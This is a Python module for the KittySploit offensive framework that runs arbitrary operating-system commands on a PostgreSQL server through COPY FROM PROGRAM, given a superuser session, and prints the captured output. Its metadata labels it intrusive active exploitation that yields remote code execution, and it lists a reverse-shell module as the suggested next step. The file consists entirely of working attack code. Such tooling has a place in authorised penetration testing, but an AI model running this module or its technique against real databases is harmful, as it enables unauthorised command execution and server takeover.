PostgreSQL COPY FROM PROGRAM

from kittysploit import *
from lib.protocols.postgresql.postgresql_client import PostgreSQLClient


class Module(Post, PostgreSQLClient):

	__info__ = {
		"name": "PostgreSQL COPY FROM PROGRAM",
		"description": "Execute an OS command via COPY FROM PROGRAM (superuser required)",
		"author": "KittySploit Team",
		"session_type": SessionType.POSTGRESQL,
	'agent': {
	    'risk': 'intrusive',
	    'effects': ['active_exploitation'],
	    'expected_requests': 2,
	    'reversible': False,
	    'approval_required': True,
	    'produces': ['risk_signals'],
	    'chain': {
	        'consumes_capabilities': ['db_access'],
	        'produces_capabilities': ['rce'],
	        'suggested_followups': ['post/shell/multi/manage/spawn_reverse_shell'],
	    },
	},
	}

	command = OptString("id", "Shell command to run on the database server", True)

	def run(self):
		try:
			if not self.is_superuser():
				raise ProcedureError(
					FailureType.NotAccess,
					"COPY FROM PROGRAM requires superuser privileges",
				)

			cmd = str(self.command)
			print_status(f"Executing: {cmd}")

			conn = self.get_postgresql_connection()
			conn.autocommit = True
			with conn.cursor() as cur:
				cur.execute("CREATE TEMP TABLE IF NOT EXISTS kittysploit_cmd_out (line text);")
				cur.execute("TRUNCATE kittysploit_cmd_out;")
				cur.execute(
					"COPY kittysploit_cmd_out FROM PROGRAM %s;",
					(cmd,),
				)
				cur.execute("SELECT line FROM kittysploit_cmd_out;")
				rows = cur.fetchall()

			if rows:
				print_success("Command output:")
				for (line,) in rows:
					print_info(line)
			else:
				print_warning("Command ran but returned no output")

			return True
		except ProcedureError:
			raise
		except Exception as exc:
			raise ProcedureError(
				FailureType.Unknown, f"COPY FROM PROGRAM failed: {exc}"
			)